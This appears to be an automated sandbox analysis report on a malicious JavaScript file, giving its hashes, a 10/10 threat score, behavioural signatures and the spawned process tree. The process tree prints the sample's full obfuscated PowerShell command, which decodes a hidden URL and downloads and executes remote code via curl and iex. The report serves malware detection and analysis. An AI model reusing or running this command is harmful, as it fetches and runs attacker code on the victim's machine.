Analysis
-
max time kernel
94s -
max time network
16s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
-
submitted
21-12-2024 14:58
General
-
Target
411e6b52b9aed07875c0938c44dd3e2139d998a018ea48c0d92d820c7ab377cd.js
-
Size
180KB
-
MD5
d55b433aad1a0db88629f7e4729d74a1
-
SHA1
70797175d65e80e9adb2d8999a144f31511a7a35
-
SHA256
411e6b52b9aed07875c0938c44dd3e2139d998a018ea48c0d92d820c7ab377cd
-
SHA512
1bf71522a486e6cae023b45e5c28e151bf93e672af48117717154b2e8d2e7a1de250932776bbfade5ee140c78704e53d61dfc4e64c59bfaa91af6c63b8b875a1
-
SSDEEP
1536:nwY/0nBMSz0j4nnPDCu25s78yRzCU5qqPRILBMSz0j4nnPDCu25sO8yRzCU5qqPU:nfSNnR4yVSNnR/yjyVSNnRTSNnRj
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\411e6b52b9aed07875c0938c44dd3e2139d998a018ea48c0d92d820c7ab377cd.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $xugcqsoyrdafi='ur' ;new-alias printout c$($xugcqsoyrdafi)l;$emqohncr=(9134,9145,9153,9137,9139,9134,9154,9153,9158,9091,9153,9087,9134,9082,9152,9147,9148,9083,9085,9082,9148,9140,9148,9099,9151,9097,9145,9141,9146,9152,9151,9086,9085);$rcwoxynvjblq=('bronx','get-cmdlet');$nerlxhqucasmip=$emqohncr;foreach($iawjenp in $nerlxhqucasmip){$bxqcsjltihayp=$iawjenp;$qbrgiezmxphj=$qbrgiezmxphj+[char]($bxqcsjltihayp-9036);$cilaejxhvonqwb=$qbrgiezmxphj; $xyjzwpsgrifh=$cilaejxhvonqwb};$cxtfruqlzsnpwv[2]=$xyjzwpsgrifh;$zwopeuayq='rl';$kiogfseqn=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xyjzwpsgrifh)1⤵
- Process spawned unexpected child process